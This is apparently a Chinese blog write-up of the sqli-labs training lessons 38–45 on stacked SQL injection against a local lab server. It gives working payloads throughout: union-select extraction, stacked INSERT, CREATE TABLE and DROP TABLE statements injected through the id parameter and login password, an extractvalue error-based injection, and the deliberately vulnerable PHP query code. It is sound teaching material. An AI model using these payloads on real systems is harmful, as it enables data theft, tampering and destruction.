Sqllibs-less38-45-堆叠注入

38、less38-stacked Query

38.1、注入分析

Sqllibs-less38-45-堆叠注入_第1张图片
由源代码可以发现,闭合方式为单引号,且会输出数据库的报错信息,并且有数据库信息回显。这一关可以不需要使用堆叠注入,类似于平常的注入也可以,如下,使用的就是最简单的union注入。

http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=0%27union select 1,database(),@@basedir--+

Sqllibs-less38-45-堆叠注入_第2张图片
利用一下堆叠注入的原理,我们可以插入数据。

http://192.168.10.208:8081/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

Sqllibs-less38-45-堆叠注入_第3张图片

38.2、代码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))//执行$sql针对数据库的查询
{
     	/*mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。*/
    

    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
     /*mysql_store_result()转移上一次查询返回的结果集*/
        if($row = mysqli_fetch_row($result))
        {
     
			echo '';	
			print_r("Your result is : %s", $result);
			echo "
"
; echo ''; printf("Your Username is : %s", $row[1]); echo "
"
; printf("Your Password is : %s", $row[2]); echo "
"
; echo "
"; } // mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1))//检查查询是否有多个结果 { /*mysqli_more_results() 函数检查一个多查询是否有更多的结果。*/ //printf("-----------------\n"); } //while (mysqli_next_result($con1)); }

39.less39-stacked Query Intiger type

39.1、注入分析

在这里插入图片描述
Sqllibs-less38-45-堆叠注入_第4张图片
类似于less38,只是这一关为数字型,没有闭合方式,且会输出数据库的报错信息。

http://192.168.10.208:8081/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values('21','less39','123456')--+

Sqllibs-less38-45-堆叠注入_第5张图片

40、less40-stacked Query String type Blind

40.1、注入分析

在这里插入图片描述
本关类似于less38,只是闭合方式为单引号+括号,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。

http://192.168.10.208:8081/sqli-labs-master/Less-40/?id=1');insert into users(id,username,password) values('22','less40','123456')--+

Sqllibs-less38-45-堆叠注入_第6张图片

41.less41-stacked Query Intiger type Blind

41.1、注入分析

在这里插入图片描述
本关类似于less38,只是闭合方式为数字型,且不输出数据库的报错信息,因此无法产生数据库的报错信息,无法使用报错注入。

http://192.168.10.208:8081/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values('23','less41','123456')--+

Sqllibs-less38-45-堆叠注入_第7张图片

42.less42-Stacked Query error based

42.1、注入分析

Sqllibs-less38-45-堆叠注入_第8张图片
Sqllibs-less38-45-堆叠注入_第9张图片
在这里插入图片描述
从login.php源码可以发现,在登录的界面中,我们可以发现对于传入的username进行了过滤,而password没有做任何处理。

mysqli_real_escape_string(connection,escapestring);

参数 描述
connection 必需。规定要使用的 MySQL 连接。
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。

union注入
如下,对password进行尝试,发现可以登录。
在这里插入图片描述
接下来利用union注入进行登录:
在这里插入图片描述
登录后的结果,我们可以发现查询的语句显示在页面上了
Sqllibs-less38-45-堆叠注入_第10张图片

stacked injection

在这里插入图片描述
利用stacked injection,我们可以执行创建一个新表的语句。如下构造:

SELECT * FROM users WHERE username='admin' and password='11';create table less42 like users #

Sqllibs-less38-45-堆叠注入_第11张图片

利用11';drop table less42#作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

报错注入
在password中输入:11' and extractvalue(1,concat(0x7e,(select version()),0x7e))#
在这里插入图片描述

42.2、代码分析

如下是login.php的部分代码

	# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{
     	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		echo '';
		echo '
'; if($row==1) { //echo "Password successfully updated"; echo ''; } else { header('Location: failed.php'); //echo 'You tried to be smart, Try harder!!!! :( '; } }

如下是pass_change.php的部分代码,我们可以发现在修改密码的位置,参数都用mysql_real_escape_string()函数进行了过滤,因此无法产生注入。
Sqllibs-less38-45-堆叠注入_第12张图片

43.less43-Stacked Query

43.1、注入分析

Sqllibs-less38-45-堆叠注入_第13张图片
在这里插入图片描述
本关类似于less42,只是将闭合方式改为了单引号+括号。
password:11');drop table less42

运行结果:
Sqllibs-less38-45-堆叠注入_第14张图片

44.less44-Stacked Query Blind

44.1、注入分析

在这里插入图片描述
类似于less42,本关的闭合方式也是单引号闭合,但是不会输出数据库的报错信息,因此无法利用报错进行注入了,需要基于盲注。

username:admin
password:11’;insert into users(id,username,password) values(‘44’,‘less44’,‘less44’)#
在这里插入图片描述

插入成功。
Sqllibs-less38-45-堆叠注入_第15张图片

45.less45-Stacked Query Blind based twist

45.1、注入分析

在这里插入图片描述
类似于less44,不会输出数据库的报错信息,但是闭合方式为单引号+括号,因此无法利用报错进行注入了,需要基于盲注。

username:admin
password:11’);insert into users(id,username,password) values(‘45’,‘less44’,‘less45’)#

你可能感兴趣的:(#,Sqllibs_master)